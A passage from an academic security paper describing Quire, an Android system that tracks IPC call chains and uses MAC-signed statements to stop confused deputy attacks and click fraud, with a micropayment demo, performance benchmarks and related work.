positives (where it must conservatively err on the side of
flagging a flow that is actually just fine). A programmer
in an information flow system would need to tag these
false positive corner cases as acceptable, whereas a pro-
grammer using Quire would need to add additional se-
curity checks to corner cases that would otherwise be al-
lowed.

2.1 Authentication logic and cryptography

In order to reason about the semantics of Quire, we
need a formal model to express what the various oper-
ations in Quire will do. Toward that end, we use the
Abadi et al. [1] (hereafter “ABLP”) logic of authentica-
tion, as used in Taos [38]. In this logic, principals make
statements, which can include various forms of quotation
(“Alice says Bob says X”) and authorization (e.g., “Al-
ice says Bob speaks for Alice”). ABLP nicely models
the behavior of cryptographic operations, where crypto-
graphic key material speaks for other principals, and we
can use this model to reason about cross-process com-
munication on a device as well as over the network.

For the remainder of the current section, we will flesh
out Quire’s IPC and RPC design in terms of ABLP and
the cryptographic mechanisms we have adopted.

2.2 IPC provenance

Android IPC background. The application separa-
tion that Android relies on to protect apps from one an-
other has an interesting side effect; whenever two appli-
cations wish to communicate they must do so via An-
droid’s Binder IPC mechanism. All cross application
communication occurs over these Binder IPC channels,
from clicks delivered from the OS to an app to requests
for sensitive resources like a users list of contacts or GPS
location. It is therefore critically important to protect
these inter-application communication channels against
attack.

Userspace
UID: 1
Call Chain: ()

Call TM(...)

EvilApp

UID: 2
Call Chain: (1)

Call LP(...)

TrustedMapper

UID: 3
Call Chain: (1,2)

VerifyCallChain(...)

LocationProvider

Operating System

Call chain: (1,2,3)

1         no GPS
2         GPS okay
3         GPS okay

PrivilegeManager

Figure 1: Defeating confused deputy attacks.

Quire IPC design. The goal of Quire’s IPC prove-
nance system is to allow endpoints that protect sensitive
resources, like a user’s fine grained GPS data or contact
information, to reason about the complete IPC call-chain
of a request for the resource before granting access to the
requesting app.

Quire realizes this goal by modifying the Android IPC
layer to automatically build calling context as an IPC
call-chain is formed. Consider a call-chain where three
principals A, B, and C, are communicating. If A calls B
who then calls C without keeping track of the call-stack,
C only knows that B initiated a request to it, not that
the call from A prompted B to make the call to C. This
loss of context can have significant security implications
in a system like Android where permissions are directly
linked to the identity of the principal requesting access to
a sensitive resource.

To address this, Quire’s design is for any given callee
to retain its caller’s call-chain and pass this to every
downstream callee. The callee will automatically have
its caller’s principal prepended to the ABLP statement.
In our above scenario, C will receive a statement “B says
A says Ok”, where Ok is an abstract token representing
that the given resource is authorized to be used. It’s now
the burden of C (or Quire’s privilege manager, operat-
ing on C’s behalf) to prove Ok. As Wallach et al. [35]
demonstrated, this is equivalent to validating that each
principal in the calling chain is individually allowed to
perform the action in question.

Confused and intentional deputies. The current An-
droid permission system ties an apps permissions to the
unique user-id it is assigned at install time. The Android
system then resolves the user-id of an app requesting ac-
cess to a sensitive resource into a permission set that de-
termines if the app’s request for the resource will suc-



350 20th USENIX Security Symposium USENIX Association

ceed. This approach to permissions enables applications
that have permission to access a resource to act as both
intentional and confused deputies. The current Android
permission model assumes that all apps act as intentional
deputies, that is they resolve and check the user-id and
permission set of a calling application that triggers the
callee app to issue a request for a sensitve resource be-
fore issuing the request to the resource.

An app that protects a sensitive resource and blindly
handles requests from callees to the protected resource
is said to be acting as a confused deputy because it is
unaware that it is doing dangerous actions on behalf of
a caller who doesn’t have the necessary permissions. In
reality, app developers rarely intend to create a confused
deputy; instead, they may simply fail to consider that a
dangerous operation is in play, and thus fail to take any
precautions.

The goal of the IPC extensions in Quire are to provide
enough additional security context to prevent confused
deputy attacks while still enabling an application to act
as an intentional deputy if it chooses to do so. To defeat
confused deputy attacks, we simply check if any one of
the principals in the call chain is not privileged for the
action being taken; in these cases, permission is denied.
Figure 1 shows this in the context of an evil application,
lacking fine-grained location privileges, which is trying
to abuse the privileges of a trusted mapping program,
which happens to have that privilege. The mapping ap-
plication, never realizing that its helpful API might be a
security vulnerability, naïvely and automatically passes
along the call chain along to the location service. The
location service then uses the call chain to prove (or dis-
prove) that the request for fine-grained location show be
allowed.

As with traditional stack inspection, there will be
times that an app genuinely wishes to exercise a priv-
ilege, regardless of its caller’s lack of the same privi-
lege. Stack inspection solves this with an enablePriv-
ilege primitive that, in the ABLP logic, simply doesn’t
pass along the caller’s call stack information. The callee,
after privileges are enabled, gets only the immediate
caller’s identity. (In the example of Figure 1, the trusted
mapper would drop the evil app from the call chain, and
the location provider would only hear that the trusted
mapper application wishes to use the service.)

Our design is, in effect, an example of the “security
passing style” transformation [35], where security be-
liefs are passed explicitly as an IPC argument rather than
passed implicitly as annotations on the call stack. One
beneficial consequence of this is that a callee might well
save the statement made by its caller and reuse them at
a later time, perhaps if they queue requests for later pro-
cessing, in order to properly modulate the privilege level
of outgoing requests.

Security analysis. While apps, by default, will pass
along call chain information without modification, Quire
allows a caller to forge the identities of its antecedent
callers. They are simply strings passed along from caller
to callee. Enabling this misrepresentation would seem
to enable serious security vulnerabilities, but there is no
incentive for a caller to lie, since the addition of any an-
tecedent principals strictly reduces the privileges of the
caller. Of course, there will be circumstances when a
caller wants to take an action that will result in increased
privileges for a downstream callee. Toward that end,
Quire provides a mechanism for verifiable statements
(see Section 2.3).

In our design, we require the callee to learn the caller’s
identity in an unforgeable fashion. The callee then
prepends the “Caller says” tokens to the statement it
hears from the caller, using information that is available
as part of every Android Binder IPC, any lack of privi-
leges on the caller’s part will be properly reflected when
the privileges for the trusted operation are later evaluated.

Furthermore, our design is lightweight; we can con-
struct and propagate IPC call chains with little impact on
IPC performance (see Section 5).

2.3 Verifiable statements
Stack inspection semantics are helpful, but are not suf-
ficient for many security needs. We envision a variety
of scenarios where we will need semantics equivalent to
digital signatures, but with much better performance than
public-key cryptographic operations.

Definition. A verifiable statement is a 3-tuple
[P,M, A(M)P] where P is the principal that said message
M, and A(M)P is an authentication token that can be
used by the Authority Manager OS service to verify P
said M. In ABLP, this tuple represents the statement “P
says M.”

In order to operate without requiring slow public-key
cryptographic operations, we have two main choices. We
could adopt some sort of central registry of statements,
perhaps managed inside the kernel. This would require a
context switch every time a new statement is made, and
it would also require the kernel to store these statements
in a cache with some sort of timeout strategy to avoid a
memory use explosion.

The alternative is to adopt a symmetric-key cryp-
tographic mechanism, such as message authentication
codes (MAC). MAC functions, like HMAC-SHA1, run
several orders of magnitude faster than digital signature
functions like DSA, but MAC functions require a shared
key between the generator and verifier of a MAC. To
avoid an N2 key explosion, we must have every appli-
cation share a key with a central, trusted authority man-



USENIX Association  20th USENIX Security Symposium 351

ager. As such, any app can produce a statement “App
says M”, purely by computing a MAC with its secret
key. However, for a second app to verify it, it must send
the statement to the authority manager. If the authority
manager says the MAC is valid, then the second app will
believe the veracity of the statement.

There are two benefits of the MAC design over the
kernel statement registry. First, it requires no context
switches when statements are generated. Context switch-
ing is only necessary when a statement is verified, which
we expect to happen far less often. Second, the MAC
design requires no kernel-level caching strategy. Instead,
signed statements are just another element in the mar-
shaled data being passed via IPC. The memory used for
them will be reclaimed whenever the rest of the message
buffer is reclaimed. Consequently, there is no risk that
an older MAC statement will become unverifiable due to
cache eviction.

2.4 RPC attestations
When moving from on-device IPCs to Internet RPCs,
some of the properties that we rely on to secure on-device
communication disappear. Most notably, the receiver of
a call can no longer open a channel to talk to the author-
ity manager, even if they did trust it1. To combat this,
Quire’s design requires an additional “network provider”
system service, which can speak over the network, on be-
half of statements made on the phone. This will require it
to speak with a cryptographic secret that is not available
to any applications on the system.

One method for getting such a secret key is to have
the phone manufacturer embed a signed X.509 certifi-
cate, along with the corresponding private key, in trusted
storage which is only accessible to the OS kernel. This
certificate can be used to establish a client-authenticated
TLS connection to a remote service, with the remote
server using the presence of the client certificate, as en-
dorsed by a trusted certification authority, to provide con-
fidence that it is really communicating with the Quire
phone’s operating system, rather than an application at-
tempting to impersonate the OS. With this attestation-
carrying encrypted channel in place, RPCs can then carry
a serialized form of the same statements passed along in
Quire IPCs, including both call chains and signed state-
ments, with the network provider trusted to speak on be-
half of the activity inside the phone.

All of this can be transmitted in a variety of ways,
such as a new HTTP header. Regular Quire applica-
tions would be able to speak through this channel, but
the new HTTP headers, with their security-relevant con-

1Like it or not, with NATs, firewalls, and other such impediments
to bi-directional connectivity, we can only reliably assume that a phone
can make outbound TCP connections, not receive inbound ones.

textual information, would not be accessible to or forge-
able by the applications making RPCs. (Quire RPCs are
analogous to the HTTP origin header [2], generated by
modern web browsers, but Quire RPCs carry the full call
chain as well as any MAC statements, giving significant
additional context to the RPC server.)

The strength of this security context information is
limited by the ability of the device and the OS to pro-
tect the key material. If a malicious application can
extract the private key, then it would be able to send
messages with arbitrary claims about the provenance of
the request. This leads us inevitably to techniques from
the field of trusted platform measurement (TPM), where
stored cryptographic key material is rendered unavailable
unless the kernel was properly validated when it booted.
TPM chips are common in many of today’s laptops and
could well be installed in future smartphones.

Even without TPM hardware, Android phones gen-
erally prohibit applications from running with full root
privileges, allowing the kernel to protect its data from
malicious apps. Of course, there may well always be se-
curity vulnerabilities in trusted applications. These could
be exploited by malicious apps to amplify their privi-
leges; they’re also exploited by tools that allow users
to “root” their phones, typically to work around carrier-
instituted restrictions such as forbidding phones from
freely relaying cellular data services as WiFi hotspots.
Once a user has “rooted” an Android phone, apps can
then request “super user” privileges, which if granted
would allow the generation of arbitrary signed state-
ments.

While this is far from ideal, we note that Google and
other Android vendors are already strongly incentivized
to fix these security holes, and that most users will never
go to the trouble of rooting their phones. Consequently,
an RPC server can treat the additional context informa-
tion provided by Quire as a useful signal for fraud pre-
vention, but other server-side mechanisms (e.g., anomaly
detection) will remain a valuable part of any overall de-
sign.

Privacy. An interesting concern arises with our design:
Every RPC call made from Quire uses the unique pub-
lic key assigned to that phone. Presumably, the public
key certificate would contain a variety of identifying in-
formation, thus making every RPC personally identify
the owner of the phone. This may well be desirable
in some circumstances, notably allowing web services
with Android applications acting as frontends to com-
pletely eliminate any need for username/password di-
alogs. However, it’s clearly undesirable in other cases.
To address this very issue, the Trusted Computing Group
has designed what it calls “direct anonymous attesta-
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tion”2, using cryptographic group signatures to allow the
caller to prove that it knows one of a large group of re-
lated private keys without saying anything about which
one [8]. This will make it impossible to correlate multi-
ple connections from the same phone. A production im-
plementation of Quire could certainly switch from TLS
client-auth to some form of anonymous attestation with-
out a significant performance impact.

An interesting challenge, for future work, is being able
to switch from anonymous attestation, in the default case,
to classical client-authentication, in cases where it might
be desirable. One notable challenge of this would be
working around users who will click affirmatively on any
“okay / cancel” dialog that’s presented to them without
ever bothering to read it. Perhaps this could be finessed
with an Android privilege that is requested at the time
an application is installed. Unprivileged apps can only
make anonymous attestations, while more trusted apps
can make attestations that uniquely identify the specific
user/phone.

2.5 Drawbacks and circumvention

The design of Quiremakes no attempt to prevent a mali-
cious deputy from circumventing the security constructs
introduced in Quire. For example a malicious attacker
could create two collaborating applications, one with in-
ternet permission and one with GPS permission, to cir-
cumvent Chinese Wall-style policies [5] that might re-
quire that the GPS provider never deliver GPS informa-
tion to an app with internet permission. Such malicious
interactions can be detected and averted by systems like
TaintDroid [13] and XManDroid [6]. We are primarily
concerned with preventing benign applications from act-
ing as confused deputies while still enabling apps to ex-
ercise their full permission sets as intentional deputies
when needed.

3 Implementation

Quire is implemented as a set of extensions to the exist-
ing Android Java runtime libraries and Binder IPC sys-
tem. The authority manager and network provider are
trusted components and therefore implemented as OS
level services while our modified Android interface def-
inition language code generator provides IPC stub code
that allows applications to propagate and adopt an IPC
call-stack. The result, which is implemented in around
1300 lines of Java and C++ code, is an extension to
the existing Android OS that provides locally verifi-
able statements, IPC provenance, and authenticated RPC

2http://www.zurich.ibm.com/security/daa/

for Quire-aware applications and backward compatibil-
ity for existing Android applications.

3.1 On- and off-phone principals
The Android architecture sandboxes applications such
that apps from different sources run as different Unix
users. Standard Android features also allow us to resolve
user-ids into human-readable names and permission sets,
based on the applications’ origins. Based on these fea-
tures, the prototype Quire implementation defines prin-
cipals as the tuple of a user-id and process-id. We include
the process-id component to allow the recipient of an IPC
method call to stipulate policies that force the process-id
of a communication partner to remain unchanged across
a series of calls. (This feature is largely ignored in the
applications we have implemented for testing and evalu-
ation purposes, but it might be useful later.)

While principals defined by user-id/process-id tuples
are sufficient for the identification of an application on
the phone, they are meaningless to a remote service.
However, the Android system requires all applications
to be signed by their developers. The public key used
for signing the application can be used as part of the
identity of the application. Quire therefore resolves the
user-id/process-id tuples used in IPC call-chains into an
externally meaningful string consisting of the marshaled
chain of application names and public keys when RPC
communication is invoked to move data off the phone.
This lazy resolution of IPC principals allows Quire to re-
duce the memory footprint of statements when perform-
ing IPC calls at the cost of extra effort when RPCs are
performed.

3.2 Authority management
The Authority Manager discussed in Section 2 is imple-
mented as a system service that runs within the operating
system’s reserved user-id space. The interface exposed
by the service allows userspace applications to request
a shared secret, submit a statement for verification, or
request the resolution of the principal included in a state-
ment into an externally meaningful form.

When an application requests a key from the authority
manager, the Authority Manager maintains a table map-
ping user-id / process-id tuples to the key. It is important
to note that a subsequent request from the same applica-
tion will prompt the Authority Manager to create a new
key for the calling application and replace the previous
stored key in the lookup table. This prevents attacks that
might try to exploit the reuse of user-ids and process-ids
as applications come and go over time. Needless to say,
the Authority Manager is a system service that must be
trusted and separated from other apps.



USENIX Association  20th USENIX Security Symposium 353

3.3 Verifiable statements

Section 2.3 introduced the idea of attaching an OS veri-
fiable statement to an object in order to allow principals
later in a call-chain to verify the authenticity and integrity
of a received object.

Our implementation of this abstract concept involves
a parcelable statement object that consists of a principal
identifier as well as an authentication token. When this
statement object is attached to a parcelable object, the an-
notated object contains all the information necessary for
the Authority Manager service to validate the authentica-
tion token contained within the statement. Therefore the
annotated object can be sent over Android’s IPC chan-
nels and later delivered to the Quire Authority Manger
for verification by the OS.

Quire’s verifiable statement implementation estab-
lishes the authenticity of message with HMAC-SHA1,
which proved to be exceptionally efficient for our needs,
while still providing the authentication and integrity se-
mantics required by Quire.

Even with HMAC-SHA1, speed still matters. In prac-
tice, doing HMAC-SHA1 in pure Java was still slow
enough to be an issue. We resolved this by using a native
C implementation from OpenSSL and exposing it to Java
code as a Dalvik VM intrinsic function, rather than a JNI
native method. This eliminated unnecessary copying and
runs at full native speed (see Section 5.2.1).

3.4 Code generator

The key to the stack inspection semantics that Quire pro-
vides is an extension to the Android Interface Definition
Language (AIDL) code generator. This piece of software
is responsible for taking in a generalized interface defini-
tion and creating stub and proxy code to facilitate Binder
IPC communication over the interface as defined in the
AIDL file.

The Quire code generator differs from the stock An-
droid code generator in that it adds directives to the mar-
shaling and unmarshaling phase of the stubs that pulls
the call-chain context from the calling app and attaches
it to the outgoing IPC message for the callee to retrieve.
These directives allow for the “quoting” semantics that
form the basis of a stack inspection based policy system.

Our prototype implementation of the Quire AIDL
code generator requires that an application developer
specify that an AIDL method become “Quire aware”
by defining the method with a reserved auth flag in the
AIDL input file. This flag informs the Quire code gen-
erator to produce additional proxy and stub code for the
given method that enables the propagation and delivery
of the call-chain context to the specified method. A pro-
duction implementation would pass this information im-

plicitly on all IPC calls.
In addition to enabling quoting semantics, the mod-

ified code generator also exposes helper functions that
wrap the generation (and storage) of a shared secret with
the OS Authority Manager and the creation and trans-
mission of a verifiable statement to a communicating IPC
endpoint.

4 Applications

We built two different applications to demonstrate the
benefits of Quire’s infrastructure.

4.1 Click fraud prevention

Current Android-based advertising systems, such as Ad-
Mob, are deployed as a library that an app includes as
part of its distribution. So far as the Android OS is con-
cerned, the app and its ads are operating within single do-
main, indistinguishable from one another. Furthermore,
because advertisement services need to report their ac-
tivity to a network service, any ad-supported app must
request network privileges, even if the app, by itself,
doesn’t need them.

From a security perspective, mashing these two dis-
tinct security domains together into a single app creates
a variety of problems. In addition to requiring network-
access privileges, the lack of isolation between the adver-
tisement code and its host creates all kinds of opportuni-
ties for fraud. The hosting app might modify the adver-
tisement library to generate fake clicks and real revenue.

This sort of click fraud is also a serious issue on the
web, and it’s typically addressed by placing the adver-
tisements within an iframe, creating a separate protec-
tion domain and providing some mutual protection. To
achieve something similar with Quire, we needed to ex-
tend Android’s UI layer and leverage Quire’s features to
authenticate indirect messages, such as UI events, dele-
gated from the parent app to the child advertisement app.

Design challenges. Fundamentally, our design re-
quires two separate apps to be stacked (see Figure 2),
with the primary application on top, and opening a trans-
parent hole through which the subordinate advertising
application can be seen by the user. This immediately
raises two challenges. First, how can the advertising app
know that it’s actually visible to the user, versus being
obscured by the application? And second, how can the
advertising app know that the clicks and other UI events
it receives were legitimately generated by the user, versus
being synthesized or replayed by the primary application.
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Ad

Buy! Cool! Stuff!

Sample App

(transparent, so ad is visible)

Figure 2: The host and advertisment apps.

Stacking the apps. This was straightforward to im-
plement. The hosting application implements a translu-
cent theme (Theme.Translucent), making the background
activity visible. When an activity containing an ad-
vertisement is started or resumed, we modified the ac-
tivity launch logic system to ensure that the advertise-
ment activity is placed below the associated host activ-
ities. When a user event is delivered to the AppFrame
view, it sends the event along with the current location of
AppFrame in the window to the an advertisement event
service. This allows our prototype to correctly display
the two apps together.

Visibility. Android allows an app to continue running,
even when it’s not on the screen. Assuming our ad ser-
vice is built around payments per click, rather than per
view, we’re primarily interested in knowing, at the mo-
ment that a click occurred, that the advertisement was
actually visible. Android 2.3 added a new feature where
motion events contain an “obscured” flag that tells us
precisely the necessary information. The only challenge
is knowing that the MotionEvent we received was legiti-
mate and fresh.

Verifying events. With our stacked app design, motion
events are delivered to the host app, on top of the stack.
The host app then recognizes when an event occurs in the
advertisement’s region and passes the event along. To
complicate matters, Android 2.3 reengineered the event
system to lower the latency, a feature desired by game
designers. Events are now transmitted through shared
memory buffers, below the Java layer.

In our design, we leverage Quire’s signed statements.

Userspace

Delegate(e)

Sample App

VerifyMAC(e)

Ad View App

Operating System

kEM        “E.M.”

Auth Manager

ClickEvent e = {
  Time t
  Position x,y
  ... }
MACkEM(e)

Event Manager

Figure 3: Secure event delivery from host app to adver-
tisement app.

We modified the event system to augment every Motion-
Event (as many as 60 per second) with one of our MAC-
based signatures. This means we don’t have to worry
about tampering or other corruption in the event sys-
tem. Instead, once an event arrives at the advertisment
app, it first validates the statement, then validates that
it’s not obscured, and finally validates the timestamp in
the event, to make sure the click is fresh. This process is
summarized in Figure 3.

At this point, the local advertising application can now
be satisfied that the click was legitimate and that the ad
was visible when the click occurred and it can communi-
cate that fact over the Internet, unspoofably, with Quire’s
RPC service.

All said and done, we added around 500 lines of Java
code for modifying the activity launch process, plus a
modest amount of C code to generate the signatures.
While our implementation does not deal with every pos-
sible scenario (e.g., changes in orientation, killing of the
advertisement app due to low memory, and other such
things) it still demonstrates the feasibility of hosting of
advertisement in separate processes and defeating click
fraud attacks.

4.2 PayBuddy

To demonstrate the usefulness of Quire for RPCs, we
implemented a micropayment application called Pay-
Buddy: a standalone Android application which exposes
an activity to other applications on the device to allow
those applications to request payments.

This is a scenario which requires a high degree of co-
operation between many parties, but at the same time in-
volves a high degree of mutual distrust. The user may
not trust the application not to steal his banking infor-
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Userspace
MAC Key: kA
PurchaseOrder po {
    Cost c
    Payee p ...}
MACkA(po)

ExampleApp

MAC Key: kPB

RPCPayBuddy.com(...)

PayBuddy

Operating System

kA          “ExampleApp”

kPB        “PayBuddy”

Auth Manager

“ExampleApp says ...”
“PayBuddy says ...”

Net Provider

PayBuddy.com

Figure 4: Message flow in the PayBuddy system.

mation, while the application may not trust the user to
faithfully make the required payment. Similarly, the ap-
plication may not trust that the PayBuddy application on
the phone is legitimate, while the PayBuddy application
may not trust that the user has been accurately notified of
the proper amount to be charged. Finally, the service side
of PayBuddy may not trust that the legitimate PayBuddy
application is the application that is submitting the pay-
ment request. We designed PayBuddy to consider all of
these sources of distrust.

To demonstrate how PayBuddy works, consider the
example shown in Figure 4. Application ExampleApp
wishes to allow the user to make an in-app purchase.
To do this, ExampleApp creates and serializes a pur-
chase order object and signs it with its MAC key kA.
It then sends the signed object to the PayBuddy appli-
cation, which can then prompt the user to confirm their
intent to make the payment. After this, PayBuddy passes
the purchase order along to the operating system’s Net-
work Provider. At this point, the Network Provider can
verify the signature on the purchase order, and also that
the request came from the PayBuddy application. It then
sends the request to the PayBuddy.com server over a
client-authenticated HTTPS connection. The contents of
ExampleApp’s purchase order are included in an HTTP
header, as is the call chain (“ExampleApp, PayBuddy”).

At the end of this, PayBuddy.com knows the follow-
ing:

• The request came from a particular device with a
given certificate.

• The purchase order originated from ExampleApp

and was not tampered with by the PayBuddy appli-
cation.

• The PayBuddy application approved the request
(which means that the user gave their explicit con-
sent to the purchase order).

At the end of this, if PayBuddy.com accepts the trans-
action, it can take whatever action accompanies the suc-
cessful payment (e.g., returning a transaction ID that
ExampleApp might send to its home server in order to
download a new level for a game).

Security analysis. Our design has several curious
properties. Most notably, the ExampleApp and the Pay-
Buddy app are mutually distrusting of each other.

The PayBuddy app doesn’t trust the payment request
to be legitimate, so it can present an “okay/cancel” dialog
to the user. In that dialog, it can include the cost as well
as the ExampleApp name, which it received through the
Quire call chain. Since ExampleApp is the direct caller,
its name cannot be forged. The PayBuddy app will only
communicate with the PayBuddy.com server if the user
approves the transaction.

Similarly, ExampleApp has only a limited amount of
trust in the PayBuddy app. By signing its purchase or-
der, and including a unique order number of some sort,
a compromised PayBuddy app cannot modify or replay
the message. Because the OS’s net provider is trusted to
speak on behalf of both the ExampleApp and the Pay-
Buddy app, the remote PayBuddy.com server gets am-
ple context to understand what happened on the phone
and deal with cases where a user later tries to repudiate a
payment.

Lastly, the user’s PayBuddy credentials are never vis-
ible to ExampleApp in any way. Once the PayBuddy
app is bound, at install time, to the user’s matching ac-
count on PayBuddy.com, there will be no subsequent
username/password dialogs. All the user will see is an
okay/cancel dialog. This will reduce the number of user-
name/password dialogs that the user sees in normal us-
age, which will make entering username and password
an exceptional situation. Once users are accustomed to
this, they may be more likely to react with skepticism
when presented with a phishing attack that demands their
PayBuddy credentials. (A phishing attack that’s com-
pletely faithful to the proper PayBuddy user interface
would only present an okay/cancel dialog, which yields
no useful information for the attacker.)

Google’s in-app billing. After we implemented Pay-
Buddy, Google released their own micropayment sys-
tem. Their system leverages a private key shared be-
tween Google and each application developer to enable
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the on-phone application to verify that confirmations are
coming from Google’s Market servers. However, unlike
PayBuddy, the messages from the Market application to
the server do not contain OS-signed statements from the
requesting application and the Market app. If the Market
app were tampered by an attacker, this could allow for a
variety of compromises that Quire would defeat.

Also, while Google’s in-app billing is built on Google-
specific infrastructure, like its Market app, Quire’s de-
sign provides general-purpose infrastructure that can be
used by PayBuddy or any other app.

One last difference: PayBuddy returns a transaction
ID to the app which requested payment. The app must
then make a new RPC to the payment server or to its
own server to validate the transaction ID against the orig-
inal request. Google returns a statement that is digitally
signed by the Market server which can be verified by
a public key that would be embedded within the app.
Google’s approach avoids an additional network round
trip, but they recommend code obfuscation and other
measures to protect the app from external tampering3.

5 Performance evaluation

5.1 Experimental methodology

All of our experiments were performed on the standard
Android developer phone, the Nexus One, which has a
1GHz ARM core (a Qualcomm QSD 8250), 512MB of
RAM, and 512MB of internal Flash storage. We con-
ducted our experiments with the phone displaying the
home screen and running the normal set of applications
that spawn at start up. We replaced the default “live wall-
paper” with a static image to eliminate its background
CPU load.

All of our benchmarks are measured using the An-
droid Open Source Project’s (AOSP) Android 2.3 (“Gin-
gerbread”) as pulled from the AOSP repository on De-
cember 21st, 2010. Quire is implemented as a series
of patches to this code base. We used an unmodified
Gingerbread build for “control” measurements and com-
pared that to a build with our Quire features enabled for
“experimental” measurements.

5.2 Microbenchmarks

5.2.1 Signed statements

Our first micro benchmark of Quiremeasures the cost of
creating and verifying statements of varying sizes. To do
this, we had an application generate random byte arrays

3http://developer.android.com/guide/market/billing/billing_best_
practices.html

Figure 5: Statement creation and verification time vs
payload size.

of varying sizes from 10 bytes to 8000 bytes and mea-
sured the time to create 1000 signatures of the data, fol-
lowed by 1000 verifications of the signature. Each set of
measured signatures and verifications was preceded by a
priming run to remove any first-run effects. We then took
an average of the middle 8 out of 10 such runs for each
size. The large number of runs is due to variance intro-
duced by garbage collection within the Authority Man-
ager. Even with this large number of runs, we could not
fully account for this, leading to some jitter in the mea-
sured performance of statement verification.

The results in Figure 5 show that statement creation
carries a minimal fixed overhead of 20 microseconds
with an additional cost of 15 microseconds per kilobyte.
Statement verification, on the other hand, has a much
higher cost: 556 microseconds fixed and an additional
96 microseconds per kilobyte. This larger cost is primar-
ily due to the context switch and attendant copying over-
head required to ask the Authority Manager to perform
the verification. However, with statement verification be-
ing a much less frequent occurrence than statement gen-
eration, these performance numbers are well within our
performance targets.

5.2.2 IPC call-chain tracking

Our next micro-benchmark measures the additional cost
of tracking the call chain for an IPC that otherwise per-
forms no computation. We implemented a service with
a pair of methods, of which one uses the Quire IPC ex-
tensions and one does not. These methods both allow us
to pass a byte array of arbitrary size to them. We then
measured the total round trip time needed to make each
of these calls. These results are intended to demonstrate
the slowdown introduced by the Quire IPC extensions in
the worst case of a round trip null operation that takes no
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Figure 6: Roundtrip single step IPC time vs payload size.

Figure 7: Roundtrip IPC time vs call chain length.

action on the receiving end of the IPC method call.
We discarded performance timings for the first IPC

call of each run to remove any noise that could have been
caused by previous activity on the system. The results in
Figure 6 were obtained by performing 10 runs of 100 tri-
als each at each size point, with sizes ranging from 0 to
6336 bytes in 64-byte increments.

These results show that the overhead of tracking the
call chain for one hop is around 70 microseconds, which
is a 21% slowdown in the worst case of doing no-op calls.

We also measured the effect of adding more hops into
the call chain. This was done by having a chain of iden-
tical services implementing a service similar to "trace
route". The payload for each method call was a single
integer, representing the number of hops remaining.

The results in Figure 7 show that the overhead of track-
ing the call chain is under 100 microseconds per hop,
which is a 20-25% slowdown in the worst case of calls
which perform no additional work. Even for a call chain
of 10 applications, the overhead is just 1 millisecond,

which is a slowdown which is well below what would
be noticed by a user.

5.2.3 RPC communication

Statement Depth Time (µs)
1 770
2 1045
4 1912
8 4576

Table 1: IPC principal to RPC principal resolution time.

The next microbenchmark we performed was deter-
mining the cost of converting from an IPC call-chain into
a serialized form that is meaningful to a remote service.
This includes the IPC overhead in asking the system ser-
vices to perform this conversion.

We found that, even for very long statement chains (of
8 distinct applications), the extra cost of this computation
is a few milliseconds, which is insignificant compared to
the other costs associated with setting up and maintain-
ing a TLS network connection. From this, we conclude
that Quire RPCs introduce no meaningful overhead be-
yond the costs already present in conducting RPCs over
cryptographically secure connections.

5.3 HTTPS RPC benchmark
To understand the impact of using Quire for calls to re-
mote servers, we performed some simple RPCs using
both Quire and a regular HTTPS connection. We called
a simple echo service that returned a parameter that was
provided to it. This allowed us to easily measure the ef-
fect of payload size on latency. We ran these tests on
a small LAN with a single wireless router and server
plugged into this router, and using the phone’s WiFi an-
tenna for connectivity. Each data point is the mean of 10
runs of 100 trials each, with the highest and lowest times
thrown out prior to taking the mean to remove anomalies.

The results in Figure 8 show that Quire adds an ad-
ditional overhead which averages around 6 ms, with a
maximum of 13.5 ms, and getting smaller as the payload
size increases. This extra latency is small enough that it’s
irrelevant in the face of the latencies experienced across
typical cellular Internet connections. From this we can
conclude that the overhead of Quire for network RPC is
practically insignificant.

5.4 Analysis
Our micro-benchmarks demonstrate that adding call-
chain tracking can be done without a significant perfor-
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Figure 8: Network RPC latency in milliseconds.

mance penalty above and beyond that of performing stan-
dard Android IPCs. Additionally, our RPC benchmarks
show that the addition of Quire does not cause a signifi-
cant slowdown relative to standard TLS-encrypted com-
munications as the RPC latency is dominated by the rela-
tivly slow speed of an internet conncection vs. on-device
communication.

These micro-benchmarks, while useful for demon-
strating the small scale impact of Quire, do not provide
valuable context as to the impact Quiremight have on the
Android user experience. However, our prototype adver-
tisement service requires each click on the system to be
annotated and signed and its performance shines a light
on the full system impact of Quire. We tested the im-
pact of Quire on touch event throughput by using the
advertisement system discussed in Section 4 to sign and
verify every click flowing from the OS through a host
app to a simple advertisement app. We observed that
the touch event throughput (which is artifically capped at
60 events per second by the Android OS) remained un-
changed even when we chose to verify every touch event.
This is obviously not a standard use case (as it simulates
a user spamming 60 clicks per second on an advertise-
ment), however even in this worst case scenario Quire
does not affect the user experience of the device.

6 Related work

6.1 Smart phone platform security
As mobile phone hardware and software increase in com-
plexity the security of the code running on a mobile de-
vices has become a major concern.

The Kirin system [14] and Security-by-Contract [12]
focus on enforcing install time application permissions
within the Android OS and .NET framework respec-
tively. These approaches to mobile phone security allow

a user to protect themselves by enforcing blanket restric-
tions on what applications may be installed or what in-
stalled applications may do, but do little to protect the
user from applications that collaborate to leak data or
protect applications from one another.

Saint [29] extends the functionality of the Kirin sys-
tem to allow for runtime inspection of the full system
permission state before launching a given application.
Apex [28] presents another solution for the same prob-
lem where the user is responsible for defining run-time
constraints on top of the existing Android permission
system. Both of these approaches allow users to specify
static policies to shield themselves from malicious ap-
plications, but don’t allow apps to make dynamic policy
decisions.

CRePE [10] presents a solution that attempts to artifi-
cially restrict an application’s permissions based on envi-
ronmental constraints such as location, noise, and time-
of-day. While CRePE considers contextual information
to apply dynamic policy decisions, it does not attempt to
address privilege escalation attacks.

6.1.1 Privilege escalation

XManDroid [6] presents a solution for privilege es-
calation and collusion by restricting communication at
runtime between applications where the communication
could open a path leading to dangerous information flows
based on Chinese Wall-style policies [5] (e.g., forbidding
communication between an application with GPS privi-
leges and an application with Internet access). While this
does protect against some privilege escalation attacks,
and allows for enforcing a more flexible range of poli-
cies, applications may launch denial of service attacks on
other applications (e.g., connecting to an application and
thus preventing it from using its full set of permissions)
and it does not allow the flexibility for an application to
regain privileges which they lost due to communicating
with other applications.

In concurrent work to our own, Felt et al. present a
solution to what they term “permission re-delegation” at-
tacks aginst deputies on the Android system [15]. With
their “IPC inspection” system, apps that receive IPC re-
quests are poly-instantiated based on the privileges of
their callers, ensuring that the callee has no greater priv-
ileges than the caller. IPC inspection addresses the same
confused deputy attack as Quire’s “security passing” IPC
annotations, however the approaches differ in how inten-
tional deputies are handled. With IPC inspection, the
OS strictly ensures that callees have reduced privileges.
They have no mechanism for a callee to deliberately of-
fer a safe interface to an otherwise dangerous primitive.
